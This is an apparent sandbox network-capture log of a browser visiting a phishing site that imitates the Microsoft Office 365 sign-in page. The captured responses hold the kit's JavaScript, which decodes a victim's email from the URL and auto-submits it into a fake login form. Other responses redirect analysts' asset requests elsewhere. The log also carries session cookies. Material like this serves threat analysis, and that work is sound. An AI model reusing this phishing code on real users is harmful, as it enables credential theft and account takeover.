Timestamp	Bytes transferred	Direction	Data
2024-10-31 20:55:09 UTC	2559	OUT	GET /s/07f1e878a6a4099a22d191aa8620db246a4d51250183c5b6fa76fa586131f157/e912187ff14fbe0e087fdd0242e0ac50ec5f2e3b1729e3fe0d8b2bf4a69d8ad8.js HTTP/1.1 Host: mail.rigotiles.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://mail.rigotiles.com/common/oauth2/v2.0/authorize?client_id=4765445b-32c6-49b0-83e6-1d93765276ca&redirect_uri=https%3A%2F%2Fwww.office.com%2Flandingv2&response_type=code%20id_token&scope=openid%20profile%20https%3A%2F%2Fwww.office.com%2Fv2%2FOfficeHome.All&response_mode=form_post&nonce=638660049050246663.ODc3ZjU4ZjQtODc2Zi00ODIzLWE0ZWYtZTkwNDU1YWI0OTFiM2NlOWFhNzEtMjU2Ny00ZjYwLTgzNzEtODIzYmIwYzA4ODM0&ui_locales=en-US&mkt=en-US&client-request-id=38bb8568-fea6-41ed-ae3e-ed6af3504c2b&state=x4Aec5a0t6Chw2Cmg3oyOPc-mwB2u0ch0KBYfu6mFO5Ma9nmM_3GwZPFX412dON63puN8EmddEU_qbWoXhATmOc0tMJNkQgq5JBQxfDDFQOnDaAULmUWlGDanz3aCy4nYqKb7pQIfefqVH19cqYbRn5LhF6TdIjTRmTo2w8AteES04W1enQACj8zsPIvZTVP2q0Ivk-tgunlyCULGc3oUQHLKsH_aN5xgAMMDXqLt9ycip-0aqZMys4sowroO7trqWt3x56-Y1VnFgP7VP530Q&x-client-SKU=ID_NET8_0&x-client-ver=7.5.1.0&sso_reload=true Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: 0874-e292=07f1e878a6a4099a22d191aa8620db246a4d51250183c5b6fa76fa586131f157; x-ms-gateway-slice=estsfd; stsservicecookie=estsfd; MUID=3FEF292F99CD6FE9028E3C0698816E87; esctx-tqcq03maRtc=AQABCQEAAADW6jl31mB3T7ugrWTT8pFeshBZkdRtL4uCiakvoFKUDu3OINUz_20GUUDVINotffSlbTWb7a8G4YNtFArgcCTCPKsCD9L0xmgVGLAHq1Y_wENBJBKaSY6c_QUlSL0ILScFRvwDLrvS27gX9qgXcWroShwQ2ZnyokFi_x8kbcBoYiAA; AADSSO=NA\|NoExtension; SSOCOOKIEPULLED=1; buid=1.AVcAMe_N-B6jSkuT5F9XHpElWltEZUfGMrBJg-Ydk3ZSdsoBAABXAA.AQABGgEAAADW6jl31mB3T7ugrWTT8pFerZf0XEYEZYyGvuOyhwJXB0SRCqxULEeublamFNpO0jFXZ9YFjqfZCaUBfBGl91uuei8RAX0IxUQQXCGAW3q6a4UUG7Lx2Kj1Cvos0cPADXEgAA; esctx=PAQABBwEAAADW6jl31mB3T7ugrWTT8pFeAIdB6zq4vN0DWkBIaJo0qgFemNm-IOQkhwMmnl3AVpjNjIdkgwvGVpLgP48V6TVGSeTlMHBMn5NuqK4HcVUYb-QtDoYuIzsamwnhU0C1nUhK9pDAKsu3LAbS7PHWVR9E_5d-72Y7smPtaCKExlNDWP_1SD4rk6zpjT5kjDEwhcogAA; esctx-6wnTxwCVaTE=AQABCQEAAADW6jl31mB3T7ugrWTT8pFe2e65jp_s8IvfYI3DNLBSNfTbickbZmZ3ptWJ39Fra1v9JlbHB41GP3Ivl_YewUg_Ele1pR2J7OgiZm5AtQIrJJVFszzVnQV7LkcSVPhuu4TuPcf_vaaUceEZV6BFa6EDrm8A [TRUNCATED]
2024-10-31 20:55:09 UTC	841	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 20:55:09 GMT Content-Type: application/javascript Transfer-Encoding: chunked Connection: close Access-Control-Allow-Credentials: true Cache-Control: no-cache, no-store CF-Cache-Status: BYPASS Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=7ox%2BN6GLQ0rCVryl%2FPWOjy22yoFxDkuHjEVIXVfRDdgfisi0fsVe0Ccm8po8lGTSlu7haU4gOGFYY9j%2Bk9qrX2KgKCVOa04WBxI2uc5gqr8S1OnpBwsmee3hVtBwX6q%2Fc0qaU94%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8db68b5bf877e7c7-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1338&sent=6&recv=7&lost=0&retrans=0&sent_bytes=2828&recv_bytes=3137&delivery_rate=2093998&cwnd=251&unsent_bytes=0&cid=0362fe71c111ea03&ts=980&x=0"
2024-10-31 20:55:09 UTC	528	IN	Data Raw: 33 32 37 0d 0a 66 75 6e 63 74 69 6f 6e 20 6c 70 28 29 7b 0a 20 20 76 61 72 20 65 6d 61 69 6c 49 64 20 3d 20 64 6f 63 75 6d 65 6e 74 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 28 22 23 69 30 31 31 36 22 29 3b 0a 20 20 76 61 72 20 6e 65 78 74 42 75 74 74 6f 6e 20 3d 20 64 6f 63 75 6d 65 6e 74 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 28 22 23 69 64 53 49 42 75 74 74 6f 6e 39 22 29 3b 0a 20 20 76 61 72 20 71 75 65 72 79 20 3d 20 77 69 6e 64 6f 77 2e 6c 6f 63 61 74 69 6f 6e 2e 68 72 65 66 3b 0a 20 20 69 66 20 28 2f 23 2f 2e 74 65 73 74 28 77 69 6e 64 6f 77 2e 6c 6f 63 61 74 69 6f 6e 2e 68 72 65 66 29 29 7b 0a 20 20 76 61 72 20 72 65 73 20 3d 20 71 75 65 72 79 2e 73 70 6c 69 74 28 22 23 22 29 3b 0a 20 20 76 61 72 20 64 61 74 61 31 20 3d 20 72 65 73 5b 30 5d 3b Data Ascii: 327function lp(){ var emailId = document.querySelector("#i0116"); var nextButton = document.querySelector("#idSIButton9"); var query = window.location.href; if (/#/.test(window.location.href)){ var res = query.split("#"); var data1 = res[0];
2024-10-31 20:55:09 UTC	286	IN	Data Raw: 61 74 63 68 20 28 65 29 20 7b 0a 20 20 20 20 63 6f 6e 73 6f 6c 65 2e 65 72 72 6f 72 28 27 45 72 72 6f 72 20 64 65 63 6f 64 69 6e 67 20 62 61 73 65 36 34 20 73 74 72 69 6e 67 3a 27 2c 20 65 29 3b 0a 20 20 7d 0a 7d 0a 65 6d 61 69 6c 49 64 2e 66 6f 63 75 73 28 29 3b 0a 65 6d 61 69 6c 49 64 2e 76 61 6c 75 65 20 3d 20 64 65 63 6f 64 65 64 53 74 72 69 6e 67 3b 0a 6e 65 78 74 42 75 74 74 6f 6e 2e 66 6f 63 75 73 28 29 3b 0a 6e 65 78 74 42 75 74 74 6f 6e 2e 63 6c 69 63 6b 28 29 3b 0a 63 6f 6e 73 6f 6c 65 2e 6c 6f 67 28 22 59 45 53 21 22 29 3b 0a 72 65 74 75 72 6e 3b 0a 20 20 20 20 20 20 7d 0a 20 20 7d 0a 20 20 20 73 65 74 54 69 6d 65 6f 75 74 28 66 75 6e 63 74 69 6f 6e 28 29 7b 6c 70 28 29 3b 7d 2c 20 35 30 30 29 3b 0a 20 20 7d 0a 20 20 73 65 74 54 69 6d 65 6f 75 Data Ascii: atch (e) { console.error('Error decoding base64 string:', e); }}emailId.focus();emailId.value = decodedString;nextButton.focus();nextButton.click();console.log("YES!");return; } } setTimeout(function(){lp();}, 500); } setTimeou
2024-10-31 20:55:09 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
45	192.168.2.16	53725	188.114.97.3	443	7004	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-31 20:55:09 UTC	2494	OUT	GET /s/07f1e878a6a4099a22d191aa8620db246a4d51250183c5b6fa76fa586131f157.js HTTP/1.1 Host: mail.rigotiles.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://mail.rigotiles.com/common/oauth2/v2.0/authorize?client_id=4765445b-32c6-49b0-83e6-1d93765276ca&redirect_uri=https%3A%2F%2Fwww.office.com%2Flandingv2&response_type=code%20id_token&scope=openid%20profile%20https%3A%2F%2Fwww.office.com%2Fv2%2FOfficeHome.All&response_mode=form_post&nonce=638660049050246663.ODc3ZjU4ZjQtODc2Zi00ODIzLWE0ZWYtZTkwNDU1YWI0OTFiM2NlOWFhNzEtMjU2Ny00ZjYwLTgzNzEtODIzYmIwYzA4ODM0&ui_locales=en-US&mkt=en-US&client-request-id=38bb8568-fea6-41ed-ae3e-ed6af3504c2b&state=x4Aec5a0t6Chw2Cmg3oyOPc-mwB2u0ch0KBYfu6mFO5Ma9nmM_3GwZPFX412dON63puN8EmddEU_qbWoXhATmOc0tMJNkQgq5JBQxfDDFQOnDaAULmUWlGDanz3aCy4nYqKb7pQIfefqVH19cqYbRn5LhF6TdIjTRmTo2w8AteES04W1enQACj8zsPIvZTVP2q0Ivk-tgunlyCULGc3oUQHLKsH_aN5xgAMMDXqLt9ycip-0aqZMys4sowroO7trqWt3x56-Y1VnFgP7VP530Q&x-client-SKU=ID_NET8_0&x-client-ver=7.5.1.0&sso_reload=true Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: 0874-e292=07f1e878a6a4099a22d191aa8620db246a4d51250183c5b6fa76fa586131f157; x-ms-gateway-slice=estsfd; stsservicecookie=estsfd; MUID=3FEF292F99CD6FE9028E3C0698816E87; esctx-tqcq03maRtc=AQABCQEAAADW6jl31mB3T7ugrWTT8pFeshBZkdRtL4uCiakvoFKUDu3OINUz_20GUUDVINotffSlbTWb7a8G4YNtFArgcCTCPKsCD9L0xmgVGLAHq1Y_wENBJBKaSY6c_QUlSL0ILScFRvwDLrvS27gX9qgXcWroShwQ2ZnyokFi_x8kbcBoYiAA; AADSSO=NA\|NoExtension; SSOCOOKIEPULLED=1; buid=1.AVcAMe_N-B6jSkuT5F9XHpElWltEZUfGMrBJg-Ydk3ZSdsoBAABXAA.AQABGgEAAADW6jl31mB3T7ugrWTT8pFerZf0XEYEZYyGvuOyhwJXB0SRCqxULEeublamFNpO0jFXZ9YFjqfZCaUBfBGl91uuei8RAX0IxUQQXCGAW3q6a4UUG7Lx2Kj1Cvos0cPADXEgAA; esctx=PAQABBwEAAADW6jl31mB3T7ugrWTT8pFeAIdB6zq4vN0DWkBIaJo0qgFemNm-IOQkhwMmnl3AVpjNjIdkgwvGVpLgP48V6TVGSeTlMHBMn5NuqK4HcVUYb-QtDoYuIzsamwnhU0C1nUhK9pDAKsu3LAbS7PHWVR9E_5d-72Y7smPtaCKExlNDWP_1SD4rk6zpjT5kjDEwhcogAA; esctx-6wnTxwCVaTE=AQABCQEAAADW6jl31mB3T7ugrWTT8pFe2e65jp_s8IvfYI3DNLBSNfTbickbZmZ3ptWJ39Fra1v9JlbHB41GP3Ivl_YewUg_Ele1pR2J7OgiZm5AtQIrJJVFszzVnQV7LkcSVPhuu4TuPcf_vaaUceEZV6BFa6EDrm8A [TRUNCATED]
2024-10-31 20:55:10 UTC	839	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 20:55:10 GMT Content-Type: application/javascript Transfer-Encoding: chunked Connection: close Access-Control-Allow-Credentials: true Cache-Control: no-cache, no-store CF-Cache-Status: BYPASS Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=nPKJuOGhfMA%2BJzrea%2BZ5HvNNqPpaTNbU7uVC7ionFFAsyWk0Xh4jBBmKGvspTf80g25t3jha0R9j98BcN13aD8rIniQc2jRXsXV4XXkLbOHQ%2Bm6Cl8yKuadArmqf1D0IEkENkiY%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8db68b5fee1be79a-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1109&sent=5&recv=8&lost=0&retrans=0&sent_bytes=2829&recv_bytes=3072&delivery_rate=2623188&cwnd=251&unsent_bytes=0&cid=1d9c6dca57f44abe&ts=350&x=0"
2024-10-31 20:55:10 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
46	192.168.2.16	53726	188.114.96.3	443	7004	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-31 20:55:10 UTC	803	OUT	GET /Me.htm?v=3 HTTP/1.1 Host: ywnjb.rigotiles.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Purpose: prefetch Sec-Fetch-Site: same-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty Referer: https://mail.rigotiles.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: 0874-e292=07f1e878a6a4099a22d191aa8620db246a4d51250183c5b6fa76fa586131f157; MUID=3FEF292F99CD6FE9028E3C0698816E87
2024-10-31 20:55:10 UTC	1359	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 20:55:10 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close Access-Control-Allow-Credentials: true Cache-Control: no-cache, no-store Expires: Sun, 29 Oct 2034 20:55:10 GMT P3p: CP="DSP CUR OTPi IND OTRi ONL FIN" Ppserver: PPV: 30 H: PH1PEPF0001B8A9 V: 0 Referrer-Policy: strict-origin-when-cross-origin Set-Cookie: uaid=a2301630ceca4905bdbb1f6e71f3d515; Path=/; Domain=ywnjb.rigotiles.com; HttpOnly; Secure; SameSite=None Set-Cookie: MSPRequ=id=N&lt=1730408110&co=1; Path=/; Domain=ywnjb.rigotiles.com; HttpOnly; Secure; SameSite=None Vary: Accept-Encoding X-Ms-Request-Id: a1407eca-6eae-4a85-845d-dce59308dccd X-Ms-Route-Info: C524_BAY cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=5v3Ikpu7g9RKUCM%2BKhhP6ik1tcYNKiJApuyZzjgN8whiEBUQHOlNyQufB4tsvcbyOlu6cUJo%2BwwhGyjf4VJw%2BUHzpoZqCpa0bR%2BOsvvadx8Oyls%2BlCIjrZHSEIB9rsDgoRTis%2Bx8"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8db68b603fe3e76e-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1342&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2830&recv_bytes=1381&delivery_rate=2197268&cwnd=250&unsent_bytes=0&cid=0d860b95b5d5feb3&ts=415&x=0"
2024-10-31 20:55:10 UTC	10	IN	Data Raw: 64 36 65 0d 0a 3c 73 63 72 69 Data Ascii: d6e<scri
2024-10-31 20:55:10 UTC	1369	IN	Data Raw: 70 74 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 3e 21 66 75 6e 63 74 69 6f 6e 28 74 2c 65 29 7b 66 6f 72 28 76 61 72 20 73 20 69 6e 20 65 29 74 5b 73 5d 3d 65 5b 73 5d 7d 28 74 68 69 73 2c 66 75 6e 63 74 69 6f 6e 28 74 29 7b 66 75 6e 63 74 69 6f 6e 20 65 28 6e 29 7b 69 66 28 73 5b 6e 5d 29 72 65 74 75 72 6e 20 73 5b 6e 5d 2e 65 78 70 6f 72 74 73 3b 76 61 72 20 69 3d 73 5b 6e 5d 3d 7b 65 78 70 6f 72 74 73 3a 7b 7d 2c 69 64 3a 6e 2c 6c 6f 61 64 65 64 3a 21 31 7d 3b 72 65 74 75 72 6e 20 74 5b 6e 5d 2e 63 61 6c 6c 28 69 2e 65 78 70 6f 72 74 73 2c 69 2c 69 2e 65 78 70 6f 72 74 73 2c 65 29 2c 69 2e 6c 6f 61 64 65 64 3d 21 30 2c 69 2e 65 78 70 6f 72 74 73 7d 76 61 72 20 73 3d 7b 7d 3b 72 65 74 75 72 6e 20 65 2e 6d 3d 74 2c 65 2e 63 3d Data Ascii: pt type="text/javascript">!function(t,e){for(var s in e)t[s]=e[s]}(this,function(t){function e(n){if(s[n])return s[n].exports;var i=s[n]={exports:{},id:n,loaded:!1};return t[n].call(i.exports,i,i.exports,e),i.loaded=!0,i.exports}var s={};return e.m=t,e.c=
2024-10-31 20:55:10 UTC	1369	IN	Data Raw: 68 28 6e 29 7b 72 65 74 75 72 6e 7d 7d 66 75 6e 63 74 69 6f 6e 20 6f 28 74 2c 65 29 7b 72 65 74 75 72 6e 20 31 3d 3d 3d 74 3f 65 3a 74 3e 3d 32 3f 64 65 63 6f 64 65 55 52 49 43 6f 6d 70 6f 6e 65 6e 74 28 65 29 3a 6e 75 6c 6c 7d 66 75 6e 63 74 69 6f 6e 20 72 28 74 2c 65 29 7b 76 61 72 20 73 3d 6e 28 22 4a 53 48 22 29 2c 61 3d 6e 28 22 4a 53 48 50 22 29 2c 6f 3d 21 30 2c 72 3d 7b 74 72 61 6e 73 69 65 6e 74 53 74 61 74 65 3a 22 22 2c 70 65 72 73 69 73 74 65 6e 74 53 74 61 74 65 3a 22 22 2c 68 61 73 53 74 6f 72 61 67 65 41 63 63 65 73 73 3a 30 7d 2c 53 3d 7b 6d 65 73 73 61 67 65 54 79 70 65 3a 22 6d 73 61 4d 65 43 61 63 68 65 64 22 2c 76 65 72 73 69 6f 6e 3a 32 2c 75 73 65 72 4c 69 73 74 3a 5b 5d 2c 74 69 6c 65 73 53 74 61 74 65 3a 72 7d 3b 74 72 79 7b 76 61 Data Ascii: h(n){return}}function o(t,e){return 1===t?e:t>=2?decodeURIComponent(e):null}function r(t,e){var s=n("JSH"),a=n("JSHP"),o=!0,r={transientState:"",persistentState:"",hasStorageAccess:0},S={messageType:"msaMeCached",version:2,userList:[],tilesState:r};try{va
2024-10-31 20:55:10 UTC	697	IN	Data Raw: 73 74 72 69 6e 67 69 66 79 28 53 29 2c 74 29 7d 76 61 72 20 63 3d 77 69 6e 64 6f 77 2c 53 3d 22 70 72 6f 64 22 2c 6c 3d 22 22 2c 70 3d 22 22 2c 67 3d 7b 4e 6f 6e 65 3a 30 2c 53 69 67 6e 65 64 49 6e 54 6f 52 50 3a 31 2c 53 69 67 6e 65 64 49 6e 54 6f 49 44 50 3a 32 2c 52 65 6d 65 6d 62 65 72 65 64 3a 33 7d 2c 75 3d 7b 4e 6f 6e 65 3a 30 2c 49 73 57 69 6e 64 6f 77 73 53 73 6f 3a 31 7d 2c 66 3d 7b 64 65 76 3a 5b 6c 2c 70 5d 2c 22 69 6e 74 22 3a 5b 22 68 74 74 70 73 3a 2f 2f 6c 6f 67 69 6e 2e 77 69 6e 64 6f 77 73 2d 70 70 65 2e 6e 65 74 22 5d 2c 70 72 6f 64 3a 5b 22 68 74 74 70 73 3a 2f 2f 6d 61 69 6c 2e 72 69 67 6f 74 69 6c 65 73 2e 63 6f 6d 22 2c 22 68 74 74 70 73 3a 2f 2f 6c 6f 67 69 6e 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 22 2c 22 68 74 74 70 73 3a 2f Data Ascii: stringify(S),t)}var c=window,S="prod",l="",p="",g={None:0,SignedInToRP:1,SignedInToIDP:2,Remembered:3},u={None:0,IsWindowsSso:1},f={dev:[l,p],"int":["https://login.windows-ppe.net"],prod:["https://mail.rigotiles.com","https://login.microsoft.com","https:/
2024-10-31 20:55:10 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
47	192.168.2.16	53728	188.114.96.3	443	7004	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-31 20:55:10 UTC	645	OUT	GET /ests/2.1/content/cdnbundles/converged.v2.login.min_nin8k2ycrbzww8zl5vxkaq2.css HTTP/1.1 Host: vn3hg.rigotiles.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Origin: https://mail.rigotiles.com sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: text/css,/;q=0.1 Sec-Fetch-Site: same-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: style Referer: https://mail.rigotiles.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-31 20:55:10 UTC	828	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 20:55:10 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close Access-Control-Allow-Credentials: true Cache-Control: no-cache, no-store CF-Cache-Status: BYPASS Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=O0sFusisPq4MTNBoVcNZuEBZqPRMI0BP0uNUjGT87kcI%2FqIqdoepkN5DFYoPwGrV9LzX6N%2FnC6W8yN4wcjYT0Ss9siDZfZU0ENIpkrJBgr%2BEE9F0cBakCukD6rO1%2Bwf2ZLv%2FP4pS"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8db68b628a3947ac-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1156&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2828&recv_bytes=1223&delivery_rate=2562831&cwnd=251&unsent_bytes=0&cid=e8e42335586b3fce&ts=301&x=0"
2024-10-31 20:55:10 UTC	170	IN	Data Raw: 61 34 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 27 72 65 66 65 72 72 65 72 27 20 63 6f 6e 74 65 6e 74 3d 27 6e 6f 2d 72 65 66 65 72 72 65 72 27 3e 3c 73 63 72 69 70 74 3e 74 6f 70 2e 6c 6f 63 61 74 69 6f 6e 2e 68 72 65 66 3d 27 68 74 74 70 73 3a 2f 2f 77 77 77 2e 79 6f 75 74 75 62 65 2e 63 6f 6d 2f 77 61 74 63 68 3f 76 3d 64 51 77 34 77 39 57 67 58 63 51 27 3b 3c 2f 73 63 72 69 70 74 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: a4<html><head><meta name='referrer' content='no-referrer'><script>top.location.href='https://www.youtube.com/watch?v=dQw4w9WgXcQ';</script></head><body></body></html>
2024-10-31 20:55:10 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
48	192.168.2.16	53730	188.114.96.3	443	7004	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-31 20:55:10 UTC	622	OUT	GET /shared/1.0/content/js/ConvergedLogin_PCore_IzDt-l0Cuie0gYRUoEk15w2.js HTTP/1.1 Host: vn3hg.rigotiles.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Origin: https://mail.rigotiles.com sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: script Referer: https://mail.rigotiles.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-31 20:55:10 UTC	826	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 20:55:10 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close Access-Control-Allow-Credentials: true Cache-Control: no-cache, no-store CF-Cache-Status: BYPASS Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=dq2Rnuz039tJWL2HM0U4PQts4YTn%2Fjxng4o68OGYt3PW9gx%2FB%2FN3oxubcN8NwGGmhnozAvmiYuQ5aX2g2QCgWkqQiYJunorciPb11DhjhhrP4OknQtMrByE7dXZXgwL%2BoRDDEkH2"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8db68b63cd37eaa4-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1221&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2829&recv_bytes=1200&delivery_rate=2203957&cwnd=251&unsent_bytes=0&cid=03a0c36a9c45ed84&ts=340&x=0"
2024-10-31 20:55:10 UTC	170	IN	Data Raw: 61 34 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 27 72 65 66 65 72 72 65 72 27 20 63 6f 6e 74 65 6e 74 3d 27 6e 6f 2d 72 65 66 65 72 72 65 72 27 3e 3c 73 63 72 69 70 74 3e 74 6f 70 2e 6c 6f 63 61 74 69 6f 6e 2e 68 72 65 66 3d 27 68 74 74 70 73 3a 2f 2f 77 77 77 2e 79 6f 75 74 75 62 65 2e 63 6f 6d 2f 77 61 74 63 68 3f 76 3d 64 51 77 34 77 39 57 67 58 63 51 27 3b 3c 2f 73 63 72 69 70 74 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: a4<html><head><meta name='referrer' content='no-referrer'><script>top.location.href='https://www.youtube.com/watch?v=dQw4w9WgXcQ';</script></head><body></body></html>
2024-10-31 20:55:10 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
49	192.168.2.16	53729	188.114.96.3	443	7004	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-31 20:55:10 UTC	641	OUT	GET /ests/2.1/content/cdnbundles/ux.converged.login.strings-en.min_1yb3e7oii5t28dgo4xrtow2.js HTTP/1.1 Host: vn3hg.rigotiles.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Origin: https://mail.rigotiles.com sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: script Referer: https://mail.rigotiles.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-31 20:55:11 UTC	821	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 20:55:10 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close Access-Control-Allow-Credentials: true Cache-Control: no-cache, no-store CF-Cache-Status: BYPASS Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=M1fNJu83yx4iwWbweYXiePQin7h3WgHYTyPL7Ksp6rCxRLX9NnmCCH3mdziIM6PqFn59FYYp1yPAPt81X2FiIa8ryRIS9pha%2BnI7x01U%2BmGboABcwunmtpNgbgoOyR2xUkC0EMMd"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8db68b641e3d44d8-ATL alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=19825&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2829&recv_bytes=1219&delivery_rate=144821&cwnd=32&unsent_bytes=0&cid=f4fa39c95554eb76&ts=364&x=0"
